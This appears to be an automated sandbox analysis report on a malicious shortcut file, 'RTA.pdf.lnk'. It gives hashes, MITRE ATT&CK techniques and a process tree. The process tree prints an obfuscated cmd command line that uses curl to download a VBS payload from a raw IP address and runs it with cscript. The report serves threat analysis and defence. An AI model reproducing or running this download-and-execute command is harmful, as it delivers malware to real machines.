e04d11512b867f646f2a05234e0b7e03d2c787546c2ed59274e2d70fa0d810d4

Analysis

max time kernel
136s
max time network
201s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2023, 05:53

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General

Target

RTA.pdf.lnk
Size

2KB
MD5

544727365ec6c393dd26af21028b3314
SHA1

f823f4eb7147f52f3f590d6f404d73a23a965134
SHA256

0f40a5fe30bfe49ad3e35226de87ff8bfa357432570d87374f72458018394676
SHA512

7574c8985e2e6a227c76782c26def452532fdecfc4ebadebfe84e5cfce6d4978d23cd45a32c21fdaec0db66f9ea6c32b1c65aebc0526ecb8c8e1aaf28da5033a

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3900	PING.EXE
4760	PING.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 1272	5076	cmd.exe	88
PID 5076 wrote to memory of 1272	5076	cmd.exe	88
PID 1272 wrote to memory of 4760	1272	cmd.exe	90
PID 1272 wrote to memory of 4760	1272	cmd.exe	90
PID 1272 wrote to memory of 4072	1272	cmd.exe	92
PID 1272 wrote to memory of 4072	1272	cmd.exe	92
PID 1272 wrote to memory of 3900	1272	cmd.exe	93
PID 1272 wrote to memory of 3900	1272	cmd.exe	93
PID 1272 wrote to memory of 816	1272	cmd.exe	95
PID 1272 wrote to memory of 816	1272	cmd.exe	95

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RTA.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c lxJ || eChO lxJ & P"I"N"g" lxJ || c"u"r"l" http://178.236.247.7/P6m/nM -o C:\Users\Admin\AppData\Local\Temp\lxJ.vbs & P"I"N"g" -n 3 lxJ || c"sC"rIPt C:\Users\Admin\AppData\Local\Temp\lxJ.vbs & ExiT
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\PING.EXE
    P"I"N"g" lxJ
    3⤵
    - Runs ping.exe
    PID:4760
- - C:\Windows\system32\curl.exe
    c"u"r"l" http://178.236.247.7/P6m/nM -o C:\Users\Admin\AppData\Local\Temp\lxJ.vbs
    3⤵
    PID:4072
- - C:\Windows\system32\PING.EXE
    P"I"N"g" -n 3 lxJ
    3⤵
    - Runs ping.exe
    PID:3900
- - C:\Windows\system32\cscript.exe
    c"sC"rIPt C:\Users\Admin\AppData\Local\Temp\lxJ.vbs
    3⤵
    PID:816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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